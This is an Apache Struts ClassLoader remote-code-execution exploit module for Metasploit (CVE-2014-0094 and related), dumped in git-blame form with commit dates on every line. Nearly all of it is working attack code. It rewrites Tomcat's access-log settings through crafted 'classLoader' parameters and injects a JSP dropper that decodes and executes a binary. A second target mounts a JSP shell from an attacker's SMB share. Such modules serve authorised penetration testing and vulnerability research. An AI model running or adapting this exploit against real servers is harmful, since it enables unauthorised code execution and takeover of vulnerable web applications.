2014-04-29 03:50:45 +02:00
|
|
|
##
|
2017-07-24 06:26:21 -07:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2014-04-29 03:50:45 +02:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
|
##
|
|
|
|
|
|
2016-03-08 14:02:44 +01:00
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
2014-05-01 18:04:37 -05:00
|
|
|
Rank = ManualRanking # It's going to manipulate the Class Loader
|
2014-04-29 03:50:45 +02:00
|
|
|
|
|
|
|
|
include Msf::Exploit::FileDropper
|
2015-03-05 15:40:24 -06:00
|
|
|
include Msf::Exploit::EXE
|
|
|
|
|
include Msf::Exploit::Remote::SMB::Server::Share
|
2019-01-29 11:08:14 -06:00
|
|
|
include Msf::Exploit::Remote::HttpClient
|
2014-04-29 03:50:45 +02:00
|
|
|
|
|
|
|
|
def initialize(info = {})
|
2025-06-20 13:20:44 +01:00
|
|
|
super(
|
|
|
|
|
update_info(
|
|
|
|
|
info,
|
|
|
|
|
'Name' => 'Apache Struts ClassLoader Manipulation Remote Code Execution',
|
|
|
|
|
'Description' => %q{
|
|
|
|
|
This module exploits a remote command execution vulnerability in Apache Struts versions
|
|
|
|
|
1.x (<= 1.3.10) and 2.x (< 2.3.16.2). In Struts 1.x the problem is related with
|
|
|
|
|
the ActionForm bean population mechanism while in case of Struts 2.x the vulnerability is due
|
|
|
|
|
to the ParametersInterceptor. Both allow access to 'class' parameter that is directly
|
|
|
|
|
mapped to getClass() method and allows ClassLoader manipulation. As a result, this can
|
|
|
|
|
allow remote attackers to execute arbitrary Java code via crafted parameters.
|
|
|
|
|
},
|
|
|
|
|
'Author' => [
|
2014-04-29 17:36:04 +02:00
|
|
|
'Mark Thomas', # Vulnerability Discovery
|
|
|
|
|
'Przemyslaw Celej', # Vulnerability Discovery
|
2025-12-17 16:32:22 -05:00
|
|
|
'Redsadic <julian.vilas[at]gmail.com>' # Metasploit Module
|
2014-04-29 03:50:45 +02:00
|
|
|
],
|
2025-06-20 13:20:44 +01:00
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
|
'References' => [
|
2014-05-01 15:24:10 -05:00
|
|
|
['CVE', '2014-0094'],
|
|
|
|
|
['CVE', '2014-0112'],
|
2015-01-29 23:27:52 +01:00
|
|
|
['CVE', '2014-0114'],
|
2014-05-01 15:24:10 -05:00
|
|
|
['URL', 'http://www.pwntester.com/blog/2014/04/24/struts2-0day-in-the-wild/'],
|
2015-01-29 23:27:52 +01:00
|
|
|
['URL', 'http://struts.apache.org/release/2.3.x/docs/s2-020.html'],
|
|
|
|
|
['URL', 'http://h30499.www3.hp.com/t5/HP-Security-Research-Blog/Update-your-Struts-1-ClassLoader-manipulation-filters/ba-p/6639204'],
|
|
|
|
|
['URL', 'https://github.com/rgielen/struts1filter/tree/develop']
|
2014-04-29 03:50:45 +02:00
|
|
|
],
|
2025-06-20 13:20:44 +01:00
|
|
|
'Payload' => {
|
2014-05-01 18:04:37 -05:00
|
|
|
'Space' => 5000,
|
|
|
|
|
'DisableNops' => true
|
|
|
|
|
},
|
2025-06-20 13:20:44 +01:00
|
|
|
'Stance' => Msf::Exploit::Stance::Aggressive,
|
|
|
|
|
'Targets' => [
|
|
|
|
|
[
|
|
|
|
|
'Java',
|
|
|
|
|
{
|
|
|
|
|
'Arch' => ARCH_JAVA,
|
2025-12-17 17:11:13 -05:00
|
|
|
'Platform' => %w[linux win]
|
2025-06-20 13:20:44 +01:00
|
|
|
},
|
2014-04-29 03:50:45 +02:00
|
|
|
],
|
2025-06-20 13:20:44 +01:00
|
|
|
[
|
|
|
|
|
'Linux',
|
|
|
|
|
{
|
|
|
|
|
'Arch' => ARCH_X86,
|
|
|
|
|
'Platform' => 'linux'
|
|
|
|
|
}
|
2014-04-29 03:50:45 +02:00
|
|
|
],
|
2025-06-20 13:20:44 +01:00
|
|
|
[
|
|
|
|
|
'Windows',
|
2014-04-29 03:50:45 +02:00
|
|
|
{
|
2025-06-20 13:20:44 +01:00
|
|
|
'Arch' => ARCH_X86,
|
2014-05-01 15:24:10 -05:00
|
|
|
'Platform' => 'win'
|
|
|
|
|
}
|
2015-03-05 15:40:24 -06:00
|
|
|
],
|
2025-06-20 13:20:44 +01:00
|
|
|
[
|
|
|
|
|
'Windows / Tomcat 6 & 7 and GlassFish 4 (Remote SMB Resource)',
|
2015-03-05 15:40:24 -06:00
|
|
|
{
|
2025-06-20 13:20:44 +01:00
|
|
|
'Arch' => ARCH_JAVA,
|
2025-12-17 16:32:22 -05:00
|
|
|
'Author' => 'Matthew Hall <hallm[at]sec-1.com>',
|
2015-03-05 15:40:24 -06:00
|
|
|
'Platform' => 'win'
|
|
|
|
|
}
|
2014-04-29 03:50:45 +02:00
|
|
|
]
|
|
|
|
|
],
|
2025-06-20 13:20:44 +01:00
|
|
|
'DisclosureDate' => '2014-03-06',
|
2025-06-23 12:00:29 +01:00
|
|
|
'DefaultTarget' => 1,
|
|
|
|
|
'Notes' => {
|
2025-06-23 12:43:46 +01:00
|
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
|
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
|
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
2025-06-23 12:00:29 +01:00
|
|
|
}
|
2025-06-20 13:20:44 +01:00
|
|
|
)
|
|
|
|
|
)
|
2014-04-29 03:50:45 +02:00
|
|
|
|
2015-03-05 15:40:24 -06:00
|
|
|
register_options(
|
|
|
|
|
[
|
|
|
|
|
Opt::RPORT(8080),
|
2025-06-20 13:20:44 +01:00
|
|
|
OptEnum.new('STRUTS_VERSION', [ true, 'Apache Struts Framework version', '2.x', ['1.x', '2.x']]),
|
2025-12-17 17:11:13 -05:00
|
|
|
OptString.new('TARGETURI', [ true, 'The path to a struts application action', '/struts2-blank/example/HelloWorld.action']),
|
2015-03-07 20:41:08 +01:00
|
|
|
OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 10])
|
2025-06-20 13:20:44 +01:00
|
|
|
]
|
|
|
|
|
)
|
2015-03-05 15:40:24 -06:00
|
|
|
|
2022-05-11 12:40:43 -04:00
|
|
|
deregister_options('SHARE', 'FILE_NAME', 'FOLDER_NAME')
|
2014-04-29 03:50:45 +02:00
|
|
|
end
|
|
|
|
|
|
2014-05-01 16:39:53 -05:00
|
|
|
def jsp_dropper(file, exe)
|
2025-12-17 17:11:13 -05:00
|
|
|
dropper = <<~EOS
|
2025-06-20 13:20:44 +01:00
|
|
|
<%@ page import=\"java.io.FileOutputStream\" %>
|
|
|
|
|
<%@ page import=\"sun.misc.BASE64Decoder\" %>
|
|
|
|
|
<%@ page import=\"java.io.File\" %>
|
|
|
|
|
<% FileOutputStream oFile = new FileOutputStream(\"#{file}\", false); %>
|
|
|
|
|
<% oFile.write(new sun.misc.BASE64Decoder().decodeBuffer(\"#{Rex::Text.encode_base64(exe)}\")); %>
|
|
|
|
|
<% oFile.flush(); %>
|
|
|
|
|
<% oFile.close(); %>
|
|
|
|
|
<% File f = new File(\"#{file}\"); %>
|
|
|
|
|
<% f.setExecutable(true); %>
|
|
|
|
|
<% Runtime.getRuntime().exec(\"./#{file}\"); %>
|
2025-12-17 17:11:13 -05:00
|
|
|
EOS
|
2014-05-01 16:39:53 -05:00
|
|
|
|
|
|
|
|
dropper
|
|
|
|
|
end
|
2014-04-29 03:50:45 +02:00
|
|
|
|
2015-02-04 09:47:27 -06:00
|
|
|
def dump_line(uri, cmd = '')
|
2014-05-01 16:39:53 -05:00
|
|
|
res = send_request_cgi({
|
2025-06-20 13:20:44 +01:00
|
|
|
'uri' => uri,
|
2015-02-04 15:32:14 +01:00
|
|
|
'encode_params' => false,
|
|
|
|
|
'vars_get' => {
|
2015-02-04 09:47:27 -06:00
|
|
|
cmd => ''
|
2015-02-04 15:32:14 +01:00
|
|
|
},
|
2014-05-01 15:25:55 -05:00
|
|
|
'version' => '1.1',
|
2025-06-20 13:20:44 +01:00
|
|
|
'method' => 'GET'
|
2014-04-29 03:50:45 +02:00
|
|
|
})
|
|
|
|
|
|
2014-05-01 16:39:53 -05:00
|
|
|
res
|
2014-04-29 03:58:04 +02:00
|
|
|
end
|
2014-04-29 03:50:45 +02:00
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
def modify_class_loader(opts)
|
2015-01-29 23:12:34 +01:00
|
|
|
cl_prefix =
|
|
|
|
|
case datastore['STRUTS_VERSION']
|
2025-12-17 17:11:13 -05:00
|
|
|
when '1.x' then 'class.classLoader'
|
2015-01-29 23:12:34 +01:00
|
|
|
when '2.x' then "class['classLoader']"
|
|
|
|
|
end
|
|
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
res = send_request_cgi({
|
2025-06-20 13:20:44 +01:00
|
|
|
'uri' => normalize_uri(target_uri.path.to_s),
|
2014-05-01 18:04:37 -05:00
|
|
|
'version' => '1.1',
|
2025-06-20 13:20:44 +01:00
|
|
|
'method' => 'GET',
|
2014-05-01 18:04:37 -05:00
|
|
|
'vars_get' => {
|
2025-06-20 13:20:44 +01:00
|
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.directory" => opts[:directory],
|
|
|
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.prefix" => opts[:prefix],
|
|
|
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.suffix" => opts[:suffix],
|
2015-01-29 23:12:34 +01:00
|
|
|
"#{cl_prefix}.resources.context.parent.pipeline.first.fileDateFormat" => opts[:file_date_format]
|
2014-05-01 18:04:37 -05:00
|
|
|
}
|
|
|
|
|
})
|
2014-04-29 03:50:45 +02:00
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
res
|
|
|
|
|
end
|
2014-05-01 00:51:52 +02:00
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
def check_log_file(hint)
|
2025-12-17 17:11:13 -05:00
|
|
|
uri = normalize_uri('/', @jsp_file)
|
2014-05-01 00:51:52 +02:00
|
|
|
|
2025-12-17 17:11:13 -05:00
|
|
|
print_status('Waiting for the server to flush the logfile')
|
2014-05-01 00:51:52 +02:00
|
|
|
|
|
|
|
|
10.times do |x|
|
|
|
|
|
select(nil, nil, nil, 2)
|
|
|
|
|
|
|
|
|
|
# Now make a request to trigger payload
|
2025-06-20 13:20:44 +01:00
|
|
|
vprint_status("Countdown #{10 - x}...")
|
2014-05-01 18:04:37 -05:00
|
|
|
res = dump_line(uri)
|
2014-05-01 20:19:31 +02:00
|
|
|
|
2014-05-01 00:51:52 +02:00
|
|
|
# Failure. The request timed out or the server went away.
|
2014-05-01 16:39:53 -05:00
|
|
|
fail_with(Failure::TimeoutExpired, "#{peer} - Not received response") if res.nil?
|
2014-05-01 20:19:31 +02:00
|
|
|
|
2014-05-01 00:51:52 +02:00
|
|
|
# Success if the server has flushed all the sent commands to the jsp file
|
2014-05-01 18:04:37 -05:00
|
|
|
if res.code == 200 && res.body && res.body.to_s =~ /#{hint}/
|
2016-02-01 15:12:03 -06:00
|
|
|
print_good("Log file flushed at http://#{peer}/#{@jsp_file}")
|
2014-05-01 18:04:37 -05:00
|
|
|
return true
|
2014-05-01 00:51:52 +02:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
false
|
2014-05-01 16:39:53 -05:00
|
|
|
end
|
2014-05-01 00:51:52 +02:00
|
|
|
|
2014-05-01 16:39:53 -05:00
|
|
|
# Fix the JSP payload to make it valid once is dropped
|
|
|
|
|
# to the log file
|
|
|
|
|
def fix(jsp)
|
2025-12-17 17:11:13 -05:00
|
|
|
output = ''
|
2014-05-01 16:39:53 -05:00
|
|
|
jsp.each_line do |l|
|
|
|
|
|
if l =~ /<%.*%>/
|
|
|
|
|
output << l
|
|
|
|
|
elsif l =~ /<%/
|
|
|
|
|
next
|
2025-06-20 13:20:44 +01:00
|
|
|
elsif l =~ /%>/
|
2014-09-10 18:00:16 -05:00
|
|
|
next
|
2014-05-01 16:39:53 -05:00
|
|
|
elsif l.chomp.empty?
|
|
|
|
|
next
|
|
|
|
|
else
|
|
|
|
|
output << "<% #{l.chomp} %>"
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
output
|
|
|
|
|
end
|
|
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
def create_jsp
|
2014-05-01 00:51:52 +02:00
|
|
|
if target['Arch'] == ARCH_JAVA
|
2014-05-01 16:39:53 -05:00
|
|
|
jsp = fix(payload.encoded)
|
2014-05-01 00:51:52 +02:00
|
|
|
else
|
2014-09-10 18:00:16 -05:00
|
|
|
if target['Platform'] == 'win'
|
2025-12-17 17:11:13 -05:00
|
|
|
payload_exe = Msf::Util::EXE.to_executable_fmt(framework, target.arch, target.platform, payload.encoded, 'exe-small', { arch: target.arch, platform: target.platform })
|
2014-09-10 18:00:16 -05:00
|
|
|
else
|
|
|
|
|
payload_exe = generate_payload_exe
|
|
|
|
|
end
|
2025-12-17 17:11:13 -05:00
|
|
|
payload_file = rand_text_alphanumeric(rand(4..7))
|
2014-05-01 16:39:53 -05:00
|
|
|
jsp = jsp_dropper(payload_file, payload_exe)
|
2015-03-10 00:45:20 +01:00
|
|
|
|
|
|
|
|
register_files_for_cleanup(payload_file)
|
2014-05-01 00:51:52 +02:00
|
|
|
end
|
2014-04-29 03:50:45 +02:00
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
jsp
|
|
|
|
|
end
|
2014-04-29 03:50:45 +02:00
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
def exploit
|
2015-03-05 15:40:24 -06:00
|
|
|
if target.name =~ /Remote SMB Resource/
|
|
|
|
|
begin
|
|
|
|
|
Timeout.timeout(datastore['SMB_DELAY']) { super }
|
|
|
|
|
rescue Timeout::Error
|
|
|
|
|
# do nothing... just finish exploit and stop smb server...
|
|
|
|
|
end
|
|
|
|
|
else
|
|
|
|
|
class_loader_exploit
|
|
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2022-05-11 12:40:43 -04:00
|
|
|
def setup
|
|
|
|
|
super
|
|
|
|
|
|
2025-12-17 17:11:13 -05:00
|
|
|
file_name << '.jsp'
|
2015-03-05 15:40:24 -06:00
|
|
|
self.file_contents = payload.encoded
|
2022-05-11 12:40:43 -04:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
# Used with SMB targets
|
|
|
|
|
def primer
|
2015-03-05 15:43:54 -06:00
|
|
|
print_status("JSP payload available on #{unc}...")
|
2015-03-05 15:40:24 -06:00
|
|
|
|
2025-12-17 17:11:13 -05:00
|
|
|
print_status('Modifying Class Loader...')
|
2015-03-05 15:40:24 -06:00
|
|
|
send_request_cgi({
|
2025-06-20 13:20:44 +01:00
|
|
|
'uri' => normalize_uri(target_uri.path.to_s),
|
2015-03-05 15:40:24 -06:00
|
|
|
'version' => '1.1',
|
2025-06-20 13:20:44 +01:00
|
|
|
'method' => 'GET',
|
2015-03-05 15:40:24 -06:00
|
|
|
'vars_get' => {
|
2015-03-07 19:14:20 +01:00
|
|
|
'class[\'classLoader\'].resources.dirContext.docBase' => "\\\\#{srvhost}\\#{share}"
|
2015-03-05 15:40:24 -06:00
|
|
|
}
|
|
|
|
|
})
|
2015-03-07 20:41:08 +01:00
|
|
|
|
|
|
|
|
jsp_shell = target_uri.path.to_s.split('/')[0..-2].join('/')
|
2025-12-17 17:11:13 -05:00
|
|
|
jsp_shell << "/#{file_name}"
|
2015-03-07 20:41:08 +01:00
|
|
|
|
2016-02-01 15:12:03 -06:00
|
|
|
print_status("Accessing JSP shell at #{jsp_shell}...")
|
2015-03-07 20:41:08 +01:00
|
|
|
send_request_cgi({
|
2025-06-20 13:20:44 +01:00
|
|
|
'uri' => normalize_uri(jsp_shell),
|
2015-03-07 20:41:08 +01:00
|
|
|
'version' => '1.1',
|
2025-12-17 17:11:13 -05:00
|
|
|
'method' => 'GET'
|
2015-03-07 20:41:08 +01:00
|
|
|
})
|
2015-03-05 15:40:24 -06:00
|
|
|
end
|
|
|
|
|
|
|
|
|
|
def class_loader_exploit
|
2025-12-17 17:11:13 -05:00
|
|
|
prefix_jsp = rand_text_alphanumeric(rand(3..5))
|
|
|
|
|
date_format = rand_text_numeric(rand(1..4))
|
|
|
|
|
@jsp_file = prefix_jsp + date_format + '.jsp'
|
2014-05-01 18:04:37 -05:00
|
|
|
|
|
|
|
|
# Modify the Class Loader
|
|
|
|
|
|
2025-12-17 17:11:13 -05:00
|
|
|
print_status('Modifying Class Loader...')
|
2014-05-01 18:04:37 -05:00
|
|
|
properties = {
|
2025-12-17 17:11:13 -05:00
|
|
|
directory: 'webapps/ROOT',
|
|
|
|
|
prefix: prefix_jsp,
|
|
|
|
|
suffix: '.jsp',
|
|
|
|
|
file_date_format: date_format
|
2014-05-01 18:04:37 -05:00
|
|
|
}
|
|
|
|
|
res = modify_class_loader(properties)
|
|
|
|
|
unless res
|
|
|
|
|
fail_with(Failure::TimeoutExpired, "#{peer} - No answer")
|
2014-05-01 00:51:52 +02:00
|
|
|
end
|
2014-04-29 03:50:45 +02:00
|
|
|
|
2014-05-02 16:26:08 +02:00
|
|
|
# Check if the log file exists and has been flushed
|
2014-05-01 00:51:52 +02:00
|
|
|
|
2014-09-10 18:00:16 -05:00
|
|
|
unless check_log_file(normalize_uri(target_uri.to_s))
|
2014-05-01 18:04:37 -05:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - The log file hasn't been flushed")
|
|
|
|
|
end
|
2014-05-01 20:19:31 +02:00
|
|
|
|
2015-05-11 18:56:18 -05:00
|
|
|
register_files_for_cleanup(@jsp_file)
|
2014-09-10 18:00:16 -05:00
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
# Prepare the JSP
|
2025-12-17 17:11:13 -05:00
|
|
|
print_status('Generating JSP...')
|
2014-05-01 18:04:37 -05:00
|
|
|
jsp = create_jsp
|
2014-05-01 20:19:31 +02:00
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
# Dump the JSP to the log file
|
2025-12-17 17:11:13 -05:00
|
|
|
print_status('Dumping JSP into the logfile...')
|
|
|
|
|
random_request = rand_text_alphanumeric(rand(3..5))
|
2015-02-04 15:32:14 +01:00
|
|
|
|
2015-02-04 09:47:27 -06:00
|
|
|
uri = normalize_uri('/', random_request)
|
2015-02-04 15:32:14 +01:00
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
jsp.each_line do |l|
|
2015-02-04 15:32:14 +01:00
|
|
|
unless dump_line(uri, l.chomp)
|
2014-05-01 18:04:37 -05:00
|
|
|
fail_with(Failure::Unknown, "#{peer} - Missed answer while dumping JSP to logfile...")
|
2014-05-01 00:51:52 +02:00
|
|
|
end
|
|
|
|
|
end
|
|
|
|
|
|
2014-05-01 18:04:37 -05:00
|
|
|
# Check log file... enjoy shell!
|
2015-03-09 23:09:45 +01:00
|
|
|
check_log_file(random_request)
|
2014-05-01 18:04:37 -05:00
|
|
|
|
|
|
|
|
# No matter what happened, try to 'restore' the Class Loader
|
|
|
|
|
properties = {
|
2025-12-17 17:11:13 -05:00
|
|
|
directory: '',
|
|
|
|
|
prefix: '',
|
|
|
|
|
suffix: '',
|
|
|
|
|
file_date_format: ''
|
2014-05-01 18:04:37 -05:00
|
|
|
}
|
|
|
|
|
modify_class_loader(properties)
|
2014-04-29 03:50:45 +02:00
|
|
|
end
|
|
|
|
|
end
|